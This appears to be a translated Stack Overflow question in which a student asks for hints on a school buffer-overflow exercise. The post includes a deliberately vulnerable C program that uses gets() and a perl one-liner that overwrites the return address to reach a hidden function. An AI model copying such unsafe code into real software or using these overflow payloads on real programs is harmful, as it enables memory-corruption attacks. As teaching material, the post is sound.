【发布时间】:2015-01-17 02:30:08
【问题描述】:
我有一个学校的作业(我不会问任何能给我答案的问题)
我们在c中得到了以下代码:
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char **argv ) {
char * stuff = 0;
int len = 0;
vulnerable();
return 0;
}
int vulnerable( void ) {
char buf[100];
printf("Please enter your hacker name: ");
fflush(stdout);
gets(buf);
printf("\"%s\"\n can hack this?" , buf );
}
void notcalled( void ) {
char *secret = "Iouf jmmb, cbsb sftufo lwbs!";
int i;
printf("The Secret string is: ");
for( i = 0 ; secret[i] ; i++ )
if( secret[i] >= 'a' && secret[i] <= 'z' )
printf("%c" , secret[i] -1 );
else
printf("%c" , secret[i] );
printf("\n");
}
我已经使用命令编译了程序:
gcc -fno-stack-protector -z execstack -o oflow oflow.c
我想知道我是否“走上正轨”。
我做的第一件事是找到函数“notcall()”的地址,然后我在运行 gdb 时一直在查看堆栈并试图找出该地址的放置位置。
我也一直在使用以下 perl 脚本来溢出程序:
perl -e 'print "A"x312 ."\xb0\x85\x04\x08"' | ./oflow
(注意312只是一个例子)
我的问题是:如何找出将地址放在堆栈中的位置以及如何计算必须填充多少字节才能溢出。 (我不想要答案,我想要解决我问题的提示和技巧)
提前致谢!
【问题讨论】:
标签: stack overflow stack-overflow